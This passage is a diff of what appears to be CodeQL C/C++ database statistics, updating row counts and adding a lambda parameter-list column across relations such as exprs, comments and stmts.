+29344,12 @@ 1 2 - 283549 + 283094 2 1655 - 12098 + 12304 @@ -29511,12 +29365,12 @@ 1 2 - 283549 + 283094 2 1655 - 12098 + 12304 @@ -29532,12 +29386,12 @@ 1 2 - 295090 + 294843 2 4 - 557 + 555 @@ -29553,12 +29407,12 @@ 1 2 - 289127 + 288691 2 81 - 6521 + 6707 @@ -29574,27 +29428,27 @@ 1 2 - 33464 + 33239 2 5 - 3990 + 3930 5 22 - 3389 + 3460 - 23 + 22 383 - 3346 + 3375 388 928 - 386 + 384 @@ -29610,27 +29464,27 @@ 1 2 - 33464 + 33239 2 5 - 3990 + 3930 5 22 - 3389 + 3460 - 23 + 22 383 - 3346 + 3375 388 928 - 386 + 384 @@ -29646,7 +29500,7 @@ 1 2 - 44576 + 44391 @@ -29662,22 +29516,22 @@ 1 2 - 36253 + 36016 2 4 - 3303 + 3289 4 26 - 3475 + 3546 26 928 - 1544 + 1538 @@ -29687,15 +29541,15 @@ derspecifiers - 601293 + 600283 der_id - 598505 + 597506 spec_id - 171 + 170 @@ -29709,12 +29563,12 @@ 1 2 - 595716 + 594729 2 3 - 2788 + 2777 @@ -29743,8 +29597,8 @@ 42 - 12754 - 12755 + 12789 + 12790 42 @@ -29755,15 +29609,15 @@ direct_base_offsets - 565169 + 564308 der_id - 565169 + 564308 offset - 643 + 640 @@ -29777,7 +29631,7 @@ 1 2 - 565169 + 564308 @@ -29798,7 +29652,7 @@ 2 3 - 171 + 170 3 @@ -29826,8 +29680,8 @@ 42 - 13023 - 13024 + 13058 + 13059 42 @@ -29838,11 +29692,11 @@ virtual_base_offsets - 7336 + 7305 sub - 7336 + 7305 super @@ -29850,7 +29704,7 @@ offset - 429 + 427 @@ -29864,7 +29718,7 @@ 1 2 - 7336 + 7305 @@ -29880,7 +29734,7 @@ 1 2 - 7336 + 7305 @@ -29938,7 +29792,7 @@ 2 3 - 386 + 384 153 @@ -29964,7 +29818,7 @@ 2 3 - 386 + 384 @@ -29974,23 +29828,23 @@ frienddecls - 881497 + 881070 id - 881497 + 881070 type_id - 53414 + 53192 decl_id - 98034 + 97497 location - 7679 + 7647 @@ -30004,7 +29858,7 @@ 1 2 - 881497 + 881070 @@ -30020,7 +29874,7 @@ 1 2 - 881497 + 881070 @@ -30036,7 +29890,7 @@ 1 2 - 881497 + 881070 @@ -30052,47 +29906,47 @@ 1 2 - 7808 + 7733 2 3 - 17590 + 17517 3 7 - 4504 + 4229 7 - 12 - 4333 + 11 + 4187 - 12 + 11 20 - 4547 + 4571 20 - 32 - 4161 + 31 + 4016 - 33 - 50 - 4762 + 31 + 43 + 4144 - 50 - 80 - 4762 + 43 + 78 + 3887 - 101 + 79 120 - 943 + 2905 @@ -30108,47 +29962,47 @@ 1 2 - 7808 + 7733 2 3 - 17590 + 17517 3 7 - 4504 + 4229 7 - 12 - 4333 + 11 + 4187 - 12 + 11 20 - 4547 + 4571 20 - 32 - 4161 + 31 + 4016 - 33 - 50 - 4762 + 31 + 43 + 4144 - 50 - 80 - 4762 + 43 + 78 + 3887 - 101 + 79 120 - 943 + 2905 @@ -30164,12 +30018,12 @@ 1 2 - 51698 + 51483 2 13 - 1716 + 1708 @@ -30185,32 +30039,32 @@ 1 2 - 60579 + 59900 2 3 - 7465 + 7733 3 8 - 7551 + 7775 8 - 15 - 7636 + 16 + 7476 - 15 + 16 40 - 7636 + 7391 40 164 - 7164 + 7220 @@ -30226,32 +30080,32 @@ 1 2 - 60579 + 59900 2 3 - 7465 + 7733 3 8 - 7551 + 7775 8 - 15 - 7636 + 16 + 7476 - 15 + 16 40 - 7636 + 7391 40 164 - 7164 + 7220 @@ -30267,12 +30121,12 @@ 1 2 - 97176 + 96643 2 5 - 858 + 854 @@ -30288,12 +30142,12 @@ 1 2 - 7207 + 7177 2 - 20357 - 471 + 20433 + 469 @@ -30309,12 +30163,12 @@ 1 2 - 7508 + 7476 2 1148 - 171 + 170 @@ -30330,12 +30184,12 @@ 1 2 - 7250 + 7220 2 - 2132 - 429 + 2129 + 427 @@ -30345,19 +30199,19 @@ comments - 11290475 + 11190891 id - 11290475 + 11190891 contents - 4299185 + 4279921 location - 11290475 + 11190891 @@ -30371,7 +30225,7 @@ 1 2 - 11290475 + 11190891 @@ -30387,7 +30241,7 @@ 1 2 - 11290475 + 11190891 @@ -30403,17 +30257,17 @@ 1 2 - 3932802 + 3906888 2 - 7 - 323192 + 6 + 321078 - 7 - 32784 - 43190 + 6 + 34359 + 51955 @@ -30429,17 +30283,17 @@ 1 2 - 3932802 + 3906888 2 - 7 - 323192 + 6 + 321078 - 7 - 32784 - 43190 + 6 + 34359 + 51955 @@ -30455,7 +30309,7 @@ 1 2 - 11290475 + 11190891 @@ -30471,7 +30325,7 @@ 1 2 - 11290475 + 11190891 @@ -30481,15 +30335,15 @@ commentbinding - 3316691 + 3828144 id - 3263140 + 3342602 element - 3173663 + 3662559 @@ -30503,12 +30357,12 @@ 1 2 - 3231385 + 3286535 2 - 85 - 31754 + 1706 + 56067 @@ -30524,12 +30378,12 @@ 1 2 - 3030635 + 3496974 2 3 - 143028 + 165585 @@ -30539,15 +30393,15 @@ exprconv - 9605400 + 9607944 converted - 9605295 + 9607839 conversion - 9605400 + 9607944 @@ -30561,7 +30415,7 @@ 1 2 - 9605190 + 9607734 2 @@ -30582,7 +30436,7 @@ 1 2 - 9605400 + 9607944 @@ -30592,22 +30446,22 @@ compgenerated - 10710519 + 10701576 id - 10710519 + 10701576 synthetic_destructor_call - 1791215 + 1788902 element - 1333971 + 1332248 i @@ -30615,7 +30469,7 @@ destructor_call - 1791215 + 1788902 @@ -30629,17 +30483,17 @@ 1 2 - 887930 + 886784 2 3 - 438754 + 438188 3 19 - 7285 + 7275 @@ -30655,17 +30509,17 @@ 1 2 - 887930 + 886784 2 3 - 438754 + 438188 3 19 - 7285 + 7275 @@ -30813,7 +30667,7 @@ 1 2 - 1791215 + 1788902 @@ -30829,7 +30683,7 @@ 1 2 - 1791215 + 1788902 @@ -30839,15 +30693,15 @@ namespaces - 11090 + 10800 id - 11090 + 10800 name - 5863 + 5710 @@ -30861,7 +30715,7 @@ 1 2 - 11090 + 10800 @@ -30877,17 +30731,17 @@ 1 2 - 4793 + 4668 2 3 - 677 + 659 3 149 - 392 + 382 @@ -30897,26 +30751,26 @@ namespace_inline - 538 + 498 id - 538 + 498 namespacembrs - 2024859 + 2036610 parentid - 10359 + 3987 memberid - 2024859 + 2036610 @@ -30930,67 +30784,67 @@ 1 2 - 1123 + 498 2 3 - 988 + 249 3 4 - 555 + 498 4 5 - 771 + 622 5 - 8 - 893 + 10 + 249 - 8 - 14 - 893 + 10 + 12 + 249 - 14 - 22 - 812 + 12 + 18 + 249 - 22 - 37 - 798 + 19 + 21 + 249 - 37 - 57 - 798 + 23 + 24 + 249 - 57 - 118 - 785 + 25 + 29 + 249 - 118 - 255 - 812 + 70 + 83 + 249 - 256 - 828 - 785 + 165 + 170 + 249 - 829 - 42759 - 338 + 15618 + 15619 + 124 @@ -31006,7 +30860,7 @@ 1 2 - 2024859 + 2036610 @@ -31016,19 +30870,19 @@ exprparents - 19397147 + 19402287 expr_id - 19397147 + 19402287 child_index - 19976 + 19981 parent_id - 12902028 + 12905447 @@ -31042,7 +30896,7 @@ 1 2 - 19397147 + 19402287 @@ -31058,7 +30912,7 @@ 1 2 - 19397147 + 19402287 @@ -31074,7 +30928,7 @@ 1 2 - 3843 + 3844 2 @@ -31089,7 +30943,7 @@ 4 5 - 8950 + 8952 5 @@ -31125,7 +30979,7 @@ 1 2 - 3843 + 3844 2 @@ -31140,7 +30994,7 @@ 4 5 - 8950 + 8952 5 @@ -31176,17 +31030,17 @@ 1 2 - 7373064 + 7375018 2 3 - 5067770 + 5069113 3 712 - 461193 + 461315 @@ -31202,17 +31056,17 @@ 1 2 - 7373064 + 7375018 2 3 - 5067770 + 5069113 3 712 - 461193 + 461315 @@ -31222,22 +31076,22 @@ expr_isload - 6961688 + 6834842 expr_id - 6961688 + 6834842 conversionkinds - 6048227 + 6050434 expr_id - 6048227 + 6050434 kind @@ -31255,7 +31109,7 @@ 1 2 - 6048227 + 6050434 @@ -31294,13 +31148,13 @@ 1 - 92803 - 92804 + 93247 + 93248 1 - 5829772 - 5829773 + 5831535 + 5831536 1 @@ -31311,11 +31165,11 @@ iscall - 6218005 + 6209630 caller - 6218005 + 6209630 kind @@ -31333,7 +31187,7 @@ 1 2 - 6218005 + 6209630 @@ -31357,8 +31211,8 @@ 23 - 268068 - 268069 + 268053 + 268054 23 @@ -31369,15 +31223,15 @@ numtemplatearguments - 722410 + 719399 expr_id - 722410 + 719399 num - 386 + 384 @@ -31391,7 +31245,7 @@ 1 2 - 722410 + 719399 @@ -31452,15 +31306,15 @@ specialnamequalifyingelements - 134 + 124 id - 134 + 124 name - 134 + 124 @@ -31474,7 +31328,7 @@ 1 2 - 134 + 124 @@ -31490,7 +31344,7 @@ 1 2 - 134 + 124 @@ -31500,23 +31354,23 @@ namequalifiers - 3257060 + 3255225 id - 3257060 + 3255225 qualifiableelement - 3257060 + 3255225 qualifyingelement - 50397 + 50816 location - 591677 + 591189 @@ -31530,7 +31384,7 @@ 1 2 - 3257060 + 3255225 @@ -31546,7 +31400,7 @@ 1 2 - 3257060 + 3255225 @@ -31562,7 +31416,7 @@ 1 2 - 3257060 + 3255225 @@ -31578,7 +31432,7 @@ 1 2 - 3257060 + 3255225 @@ -31594,7 +31448,7 @@ 1 2 - 3257060 + 3255225 @@ -31610,7 +31464,7 @@ 1 2 - 3257060 + 3255225 @@ -31626,27 +31480,27 @@ 1 2 - 33821 + 33754 2 3 - 8414 + 8749 3 5 - 4265 + 4397 5 - 1601 - 3780 + 6810 + 3822 - 6807 + 19018 41956 - 115 + 92 @@ -31662,27 +31516,27 @@ 1 2 - 33821 + 33754 2 3 - 8414 + 8749 3 5 - 4265 + 4397 5 - 1601 - 3780 + 6810 + 3822 - 6807 + 19018 41956 - 115 + 92 @@ -31698,22 +31552,22 @@ 1 2 - 36703 + 36816 2 3 - 7585 + 7874 3 6 - 3780 + 3822 6 20057 - 2328 + 2302 @@ -31729,22 +31583,22 @@ 1 2 - 84956 + 84708 2 6 - 40553 + 40754 6 7 - 427642 + 426975 7 192 - 38524 + 38751 @@ -31760,22 +31614,22 @@ 1 2 - 84956 + 84708 2 6 - 40553 + 40754 6 7 - 427642 + 426975 7 192 - 38524 + 38751 @@ -31791,22 +31645,22 @@ 1 2 - 119308 + 119361 2 4 - 14247 + 14229 4 5 - 445072 + 444428 5 33 - 13048 + 13170 @@ -31816,15 +31670,15 @@ varbind - 8230416 + 8232597 expr - 8230416 + 8232597 var - 1047294 + 1047572 @@ -31838,7 +31692,7 @@ 1 2 - 8230416 + 8232597 @@ -31854,52 +31708,52 @@ 1 2 - 171032 + 171078 2 3 - 188147 + 188197 3 4 - 145220 + 145259 4 5 - 116294 + 116325 5 6 - 82907 + 82929 6 7 - 65624 + 65641 7 9 - 80578 + 80599 9 13 - 81335 + 81357 13 27 - 78895 + 78915 27 5137 - 37259 + 37268 @@ -31909,15 +31763,15 @@ funbind - 6228425 + 6220037 expr - 6225774 + 6217389 fun - 295469 + 295295 @@ -31931,12 +31785,12 @@ 1 2 - 6223123 + 6214741 2 3 - 2651 + 2647 @@ -31952,27 +31806,27 @@ 1 2 - 194282 + 194169 2 3 - 41544 + 41560 3 4 - 18397 + 18396 4 8 - 24368 + 24337 8 37798 - 16876 + 16831 @@ -31982,11 +31836,11 @@ expr_allocator - 56975 + 56738 expr - 56975 + 56738 func @@ -32008,7 +31862,7 @@ 1 2 - 56975 + 56738 @@ -32024,7 +31878,7 @@ 1 2 - 56975 + 56738 @@ -32108,11 +31962,11 @@ expr_deallocator - 67787 + 67505 expr - 67787 + 67505 func @@ -32134,7 +31988,7 @@ 1 2 - 67787 + 67505 @@ -32150,7 +32004,7 @@ 1 2 - 67787 + 67505 @@ -32255,15 +32109,15 @@ expr_cond_guard - 895300 + 895536 cond - 895300 + 895536 guard - 895300 + 895536 @@ -32277,7 +32131,7 @@ 1 2 - 895300 + 895536 @@ -32293,7 +32147,7 @@ 1 2 - 895300 + 895536 @@ -32303,15 +32157,15 @@ expr_cond_true - 895297 + 895532 cond - 895297 + 895532 true - 895297 + 895532 @@ -32325,7 +32179,7 @@ 1 2 - 895297 + 895532 @@ -32341,7 +32195,7 @@ 1 2 - 895297 + 895532 @@ -32351,15 +32205,15 @@ expr_cond_false - 895300 + 895536 cond - 895300 + 895536 false - 895300 + 895536 @@ -32373,7 +32227,7 @@ 1 2 - 895300 + 895536 @@ -32389,7 +32243,7 @@ 1 2 - 895300 + 895536 @@ -32399,15 +32253,15 @@ values - 13198553 + 13438637 id - 13198553 + 13438637 str - 113721 + 114260 @@ -32421,7 +32275,7 @@ 1 2 - 13198553 + 13438637 @@ -32437,27 +32291,27 @@ 1 2 - 78593 + 78093 2 3 - 15419 + 15260 3 - 7 - 9741 + 6 + 8871 - 7 - 351 - 8529 + 6 + 52 + 8605 - 352 - 660247 - 1436 + 52 + 674264 + 3428 @@ -32467,15 +32321,15 @@ valuetext - 6605633 + 6647443 id - 6605633 + 6647443 text - 1095233 + 1095411 @@ -32489,7 +32343,7 @@ 1 2 - 6605633 + 6647443 @@ -32505,22 +32359,22 @@ 1 2 - 839851 + 833985 2 3 - 144290 + 146940 3 7 - 83532 + 86536 7 - 593269 - 27560 + 593553 + 27950 @@ -32530,15 +32384,15 @@ valuebind - 13543087 + 13546930 val - 13198553 + 13438637 expr - 13543087 + 13546930 @@ -32552,12 +32406,12 @@ 1 2 - 12873876 + 13348324 2 6 - 324676 + 90312 @@ -32573,7 +32427,7 @@ 1 2 - 13543087 + 13546930 @@ -32583,19 +32437,19 @@ fieldoffsets - 1441877 + 1489415 id - 1441877 + 1489415 byteoffset - 31022 + 31293 bitoffset - 436 + 434 @@ -32609,7 +32463,7 @@ 1 2 - 1441877 + 1489415 @@ -32625,7 +32479,7 @@ 1 2 - 1441877 + 1489415 @@ -32641,37 +32495,37 @@ 1 2 - 17805 + 17656 2 3 - 2348 + 2444 3 5 - 2457 + 2662 5 12 - 2621 + 2607 12 - 35 - 2348 + 34 + 2390 - 35 - 205 - 2348 + 34 + 198 + 2390 - 244 - 5639 - 1092 + 209 + 5931 + 1140 @@ -32687,12 +32541,12 @@ 1 2 - 30093 + 30315 2 9 - 928 + 977 @@ -32706,18 +32560,8 @@ 12 - 29 - 30 - 54 - - - 30 - 31 - 54 - - - 33 - 34 + 35 + 36 54 @@ -32725,24 +32569,34 @@ 37 54 - - 42 - 43 - 54 - 43 44 54 - 55 - 56 + 46 + 47 54 - 26132 - 26133 + 50 + 51 + 54 + + + 63 + 64 + 54 + + + 79 + 80 + 54 + + + 27063 + 27064 54 @@ -32756,24 +32610,24 @@ 12 - - 11 - 12 - 218 - 12 13 - 109 + 162 13 14 - 54 + 108 - 568 - 569 + 14 + 15 + 108 + + + 576 + 577 54 @@ -32784,19 +32638,19 @@ bitfield - 26910 + 30276 id - 26910 + 30276 bits - 3363 + 3488 declared_bits - 3363 + 3488 @@ -32810,7 +32664,7 @@ 1 2 - 26910 + 30276 @@ -32826,7 +32680,7 @@ 1 2 - 26910 + 30276 @@ -32842,42 +32696,42 @@ 1 2 - 941 + 996 2 3 - 807 + 747 3 4 - 269 + 249 4 5 - 269 + 498 5 - 6 - 269 - - - 6 - 8 - 269 + 7 + 249 8 - 11 - 269 + 9 + 249 - 12 - 115 - 269 + 9 + 11 + 249 + + + 13 + 143 + 249 @@ -32893,7 +32747,7 @@ 1 2 - 3363 + 3488 @@ -32909,42 +32763,42 @@ 1 2 - 941 + 996 2 3 - 807 + 747 3 4 - 269 + 249 4 5 - 269 + 498 5 - 6 - 269 - - - 6 - 8 - 269 + 7 + 249 8 - 11 - 269 + 9 + 249 - 12 - 115 - 269 + 9 + 11 + 249 + + + 13 + 143 + 249 @@ -32960,7 +32814,7 @@ 1 2 - 3363 + 3488 @@ -32970,23 +32824,23 @@ initialisers - 2336741 + 2334426 init - 2336741 + 2334426 var - 983120 + 988524 expr - 2336741 + 2334426 location - 539051 + 537812 @@ -33000,7 +32854,7 @@ 1 2 - 2336741 + 2334426 @@ -33016,7 +32870,7 @@ 1 2 - 2336741 + 2334426 @@ -33032,7 +32886,7 @@ 1 2 - 2336741 + 2334426 @@ -33048,17 +32902,17 @@ 1 2 - 865959 + 871776 2 15 - 39247 + 39395 16 25 - 77913 + 77353 @@ -33074,17 +32928,17 @@ 1 2 - 865959 + 871776 2 15 - 39247 + 39395 16 25 - 77913 + 77353 @@ -33100,7 +32954,7 @@ 1 2 - 983111 + 988516 2 @@ -33121,7 +32975,7 @@ 1 2 - 2336741 + 2334426 @@ -33137,7 +32991,7 @@ 1 2 - 2336741 + 2334426 @@ -33153,7 +33007,7 @@ 1 2 - 2336741 + 2334426 @@ -33169,22 +33023,22 @@ 1 2 - 439428 + 438122 2 3 - 32733 + 32980 3 15 - 42317 + 42099 15 - 111551 - 24571 + 111796 + 24610 @@ -33200,17 +33054,17 @@ 1 2 - 470696 + 469174 2 4 - 49308 + 49479 4 - 12073 - 19046 + 12163 + 19159 @@ -33226,22 +33080,22 @@ 1 2 - 439428 + 438122 2 3 - 32733 + 32980 3 15 - 42317 + 42099 15 - 111551 - 24571 + 111796 + 24610 @@ -33251,26 +33105,26 @@ braced_initialisers - 74268 + 74076 init - 74268 + 74076 expr_ancestor - 1797625 + 1795303 exp - 1797625 + 1795303 ancestor - 899688 + 898526 @@ -33284,7 +33138,7 @@ 1 2 - 1797625 + 1795303 @@ -33300,17 +33154,17 @@ 1 2 - 18305 + 18281 2 3 - 870593 + 869469 3 19 - 10789 + 10775 @@ -33320,19 +33174,19 @@ exprs - 25136620 + 25143280 id - 25136620 + 25143280 kind - 1448 + 1446 location - 10563688 + 10554422 @@ -33346,7 +33200,7 @@ 1 2 - 25136620 + 25143280 @@ -33362,7 +33216,7 @@ 1 2 - 25136620 + 25143280 @@ -33416,8 +33270,8 @@ 109 - 3210 - 4267 + 3390 + 4336 109 @@ -33427,11 +33281,11 @@ 5187 - 22126 + 22128 109 - 26363 + 26432 50205 109 @@ -33441,8 +33295,8 @@ 109 - 312846 - 312847 + 313148 + 313149 21 @@ -33512,8 +33366,8 @@ 109 - 5471 - 21139 + 5473 + 21165 109 @@ -33522,8 +33376,8 @@ 109 - 224078 - 224079 + 224080 + 224081 21 @@ -33540,22 +33394,22 @@ 1 2 - 8887659 + 8876942 2 3 - 818573 + 818418 3 16 - 793536 + 795071 16 71733 - 63919 + 63990 @@ -33571,17 +33425,17 @@ 1 2 - 9023791 + 9015972 2 3 - 772932 + 772206 3 32 - 766964 + 766243 @@ -33591,15 +33445,15 @@ expr_reuse - 907596 + 906424 reuse - 907596 + 906424 original - 907596 + 906424 value_category @@ -33617,7 +33471,7 @@ 1 2 - 907596 + 906424 @@ -33633,7 +33487,7 @@ 1 2 - 907596 + 906424 @@ -33649,7 +33503,7 @@ 1 2 - 907596 + 906424 @@ -33665,7 +33519,7 @@ 1 2 - 907596 + 906424 @@ -33717,15 +33571,15 @@ expr_types - 25136620 + 25143280 id - 25136620 + 25143280 typeid - 213831 + 213630 value_category @@ -33743,7 +33597,7 @@ 1 2 - 25136620 + 25143280 @@ -33759,7 +33613,7 @@ 1 2 - 25136620 + 25143280 @@ -33775,52 +33629,52 @@ 1 2 - 52421 + 52371 2 3 - 35130 + 35097 3 4 - 14504 + 14468 4 5 - 14504 + 14490 5 8 - 17510 + 17515 8 14 - 17378 + 17340 14 24 - 16391 + 16397 24 49 - 16084 + 16025 49 134 - 16105 + 16134 134 - 440938 - 13801 + 441505 + 13789 @@ -33836,12 +33690,12 @@ 1 2 - 185591 + 185417 2 3 - 28240 + 28213 @@ -33855,13 +33709,13 @@ 12 - 153383 - 153384 + 153745 + 153746 21 - 992173 - 992174 + 993192 + 993193 21 @@ -33904,15 +33758,15 @@ new_allocated_type - 58177 + 57934 expr - 58177 + 57934 type_id - 34494 + 34350 @@ -33926,7 +33780,7 @@ 1 2 - 58177 + 57934 @@ -33942,17 +33796,17 @@ 1 2 - 14501 + 14440 2 3 - 18234 + 18158 3 19 - 1759 + 1751 @@ -33962,15 +33816,15 @@ new_array_allocated_type - 6964 + 6914 expr - 6964 + 6914 type_id - 2992 + 2970 @@ -33984,7 +33838,7 @@ 1 2 - 6964 + 6914 @@ -34005,17 +33859,17 @@ 2 3 - 2645 + 2626 3 5 - 225 + 223 6 15 - 78 + 77 @@ -35361,15 +35215,15 @@ condition_decl_bind - 438155 + 437589 expr - 438155 + 437589 decl - 438155 + 437589 @@ -35383,7 +35237,7 @@ 1 2 - 438155 + 437589 @@ -35399,7 +35253,7 @@ 1 2 - 438155 + 437589 @@ -35409,15 +35263,15 @@ typeid_bind - 60322 + 60071 expr - 60322 + 60071 type_id - 20078 + 19995 @@ -35431,7 +35285,7 @@ 1 2 - 60322 + 60071 @@ -35447,17 +35301,17 @@ 1 2 - 3732 + 3717 2 3 - 15831 + 15765 3 328 - 514 + 512 @@ -35467,15 +35321,15 @@ uuidof_bind - 27728 + 27985 expr - 27728 + 27985 type_id - 27459 + 27719 @@ -35489,7 +35343,7 @@ 1 2 - 27728 + 27985 @@ -35505,12 +35359,12 @@ 1 2 - 27234 + 27495 2 4 - 225 + 223 @@ -35520,15 +35374,15 @@ sizeof_bind - 241252 + 241381 expr - 241252 + 241381 type_id - 11189 + 11180 @@ -35542,7 +35396,7 @@ 1 2 - 241252 + 241381 @@ -35558,12 +35412,12 @@ 1 2 - 3901 + 3867 2 3 - 2758 + 2776 3 @@ -35573,7 +35427,7 @@ 4 5 - 1136 + 1137 5 @@ -35583,12 +35437,12 @@ 6 7 - 1061 + 1062 7 40 - 848 + 854 40 @@ -35651,11 +35505,11 @@ lambdas - 17804 + 17730 expr - 17804 + 17730 default_capture @@ -35665,6 +35519,10 @@ has_explicit_return_type 85 + + has_explicit_parameter_list + 85 + @@ -35677,7 +35535,7 @@ 1 2 - 17804 + 17730 @@ -35693,7 +35551,23 @@ 1 2 - 17804 + 17730 + + + + + + + expr + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 17730 @@ -35746,6 +35620,27 @@ + + default_capture + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 85 + + + + + has_explicit_return_type expr @@ -35788,27 +35683,111 @@ + + has_explicit_return_type + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 42 + + + + + + + has_explicit_parameter_list + expr + + + 12 + + + 45 + 46 + 42 + + + 370 + 371 + 42 + + + + + + + has_explicit_parameter_list + default_capture + + + 12 + + + 2 + 3 + 42 + + + 3 + 4 + 42 + + + + + + + has_explicit_parameter_list + has_explicit_return_type + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 42 + + + + + lambda_capture - 28786 + 28450 id - 28786 + 28450 lambda - 13391 + 13261 index - 147 + 146 field - 28786 + 28450 captured_by_reference @@ -35820,7 +35799,7 @@ location - 18604 + 18350 @@ -35834,7 +35813,7 @@ 1 2 - 28786 + 28450 @@ -35850,7 +35829,7 @@ 1 2 - 28786 + 28450 @@ -35866,7 +35845,7 @@ 1 2 - 28786 + 28450 @@ -35882,7 +35861,7 @@ 1 2 - 28786 + 28450 @@ -35898,7 +35877,7 @@ 1 2 - 28786 + 28450 @@ -35914,7 +35893,7 @@ 1 2 - 28786 + 28450 @@ -35930,27 +35909,27 @@ 1 2 - 6704 + 6656 2 3 - 3113 + 3074 3 4 - 1630 + 1610 4 6 - 1231 + 1222 6 18 - 711 + 697 @@ -35966,27 +35945,27 @@ 1 2 - 6704 + 6656 2 3 - 3113 + 3074 3 4 - 1630 + 1610 4 6 - 1231 + 1222 6 18 - 711 + 697 @@ -36002,27 +35981,27 @@ 1 2 - 6704 + 6656 2 3 - 3113 + 3074 3 4 - 1630 + 1610 4 6 - 1231 + 1222 6 18 - 711 + 697 @@ -36038,12 +36017,12 @@ 1 2 - 12801 + 12692 2 3 - 589 + 568 @@ -36059,12 +36038,12 @@ 1 2 - 13365 + 13235 2 3 - 26 + 25 @@ -36080,27 +36059,27 @@ 1 2 - 7337 + 7284 2 3 - 3278 + 3237 3 4 - 1344 + 1326 4 7 - 1092 + 1084 7 18 - 338 + 327 @@ -36159,43 +36138,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36255,43 +36234,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36351,43 +36330,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36409,7 +36388,7 @@ 2 3 - 112 + 111 @@ -36489,43 +36468,43 @@ 8 - 25 - 26 + 24 + 25 8 - 42 - 43 + 41 + 42 8 - 66 - 67 + 65 + 66 8 - 99 - 100 + 98 + 99 8 - 180 - 181 + 179 + 180 8 - 349 - 350 + 347 + 348 8 - 589 - 590 + 585 + 586 8 - 937 - 938 + 933 + 934 8 @@ -36542,7 +36521,7 @@ 1 2 - 28786 + 28450 @@ -36558,7 +36537,7 @@ 1 2 - 28786 + 28450 @@ -36574,7 +36553,7 @@ 1 2 - 28786 + 28450 @@ -36590,7 +36569,7 @@ 1 2 - 28786 + 28450 @@ -36606,7 +36585,7 @@ 1 2 - 28786 + 28450 @@ -36622,7 +36601,7 @@ 1 2 - 28786 + 28450 @@ -36636,13 +36615,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36657,13 +36636,13 @@ 12 - 592 - 593 + 590 + 591 8 - 1020 - 1021 + 1016 + 1017 8 @@ -36699,13 +36678,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36736,13 +36715,13 @@ 12 - 547 - 548 + 545 + 546 8 - 1601 - 1602 + 1589 + 1590 8 @@ -36762,8 +36741,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36783,8 +36762,8 @@ 8 - 927 - 928 + 923 + 924 8 @@ -36825,8 +36804,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36862,8 +36841,8 @@ 8 - 1817 - 1818 + 1803 + 1804 8 @@ -36880,17 +36859,17 @@ 1 2 - 16756 + 16524 2 6 - 1413 + 1394 6 68 - 433 + 430 @@ -36906,12 +36885,12 @@ 1 2 - 17381 + 17136 2 68 - 1222 + 1214 @@ -36927,12 +36906,12 @@ 1 2 - 17858 + 17618 2 8 - 745 + 731 @@ -36948,17 +36927,17 @@ 1 2 - 16756 + 16524 2 6 - 1413 + 1394 6 68 - 433 + 430 @@ -36974,12 +36953,12 @@ 1 2 - 18578 + 18324 2 3 - 26 + 25 @@ -36995,7 +36974,7 @@ 1 2 - 18604 + 18350 @@ -37005,11 +36984,11 @@ fold - 1372 + 1367 expr - 1372 + 1367 operator @@ -37031,7 +37010,7 @@ 1 2 - 1372 + 1367 @@ -37047,7 +37026,7 @@ 1 2 - 1372 + 1367 @@ -37126,19 +37105,19 @@ stmts - 6324453 + 6243068 id - 6324453 + 6243068 kind - 2556 + 172 location - 2966319 + 2747714 @@ -37152,7 +37131,7 @@ 1 2 - 6324453 + 6243068 @@ -37168,7 +37147,7 @@ 1 2 - 6324453 + 6243068 @@ -37184,97 +37163,102 @@ 1 2 - 134 + 8 - 18 - 19 - 134 + 26 + 27 + 8 - 22 - 23 - 134 + 418 + 419 + 8 - 51 - 52 - 134 + 546 + 547 + 8 - 76 - 77 - 134 + 827 + 828 + 8 - 84 - 85 - 134 + 1470 + 1471 + 8 - 107 - 108 - 134 + 1577 + 1578 + 8 - 163 - 164 - 134 + 1802 + 1803 + 8 - 258 - 259 - 134 + 2462 + 2463 + 8 - 299 - 300 - 134 + 3217 + 3218 + 8 - 412 - 413 - 134 + 3610 + 3611 + 8 - 498 - 499 - 134 + 4863 + 4864 + 8 - 538 - 539 - 134 + 16249 + 16250 + 8 - 1371 - 1372 - 134 + 16732 + 16733 + 8 - 2810 - 2811 - 134 + 21439 + 21440 + 8 - 4866 - 4867 - 134 + 68795 + 68796 + 8 - 9205 - 9206 - 134 + 89075 + 89076 + 8 - 12120 - 12121 - 134 + 112007 + 112008 + 8 - 14105 - 14106 - 134 + 185649 + 185650 + 8 + + + 194240 + 194241 + 8 @@ -37290,97 +37274,102 @@ 1 2 - 134 + 8 - 8 - 9 - 134 + 26 + 27 + 8 - 18 - 19 - 134 + 109 + 110 + 8 - 45 - 46 - 134 + 419 + 420 + 8 - 50 - 51 - 134 + 778 + 779 + 8 - 56 - 57 - 134 + 1079 + 1080 + 8 - 74 - 75 - 134 + 1311 + 1312 + 8 - 101 - 102 - 134 + 1347 + 1348 + 8 - 103 - 104 - 134 + 1388 + 1389 + 8 - 131 - 132 - 134 + 2061 + 2062 + 8 - 225 - 226 - 134 + 2309 + 2310 + 8 - 252 - 253 - 134 + 2476 + 2477 + 8 - 368 - 369 - 134 + 7043 + 7044 + 8 - 650 - 651 - 134 + 8622 + 8623 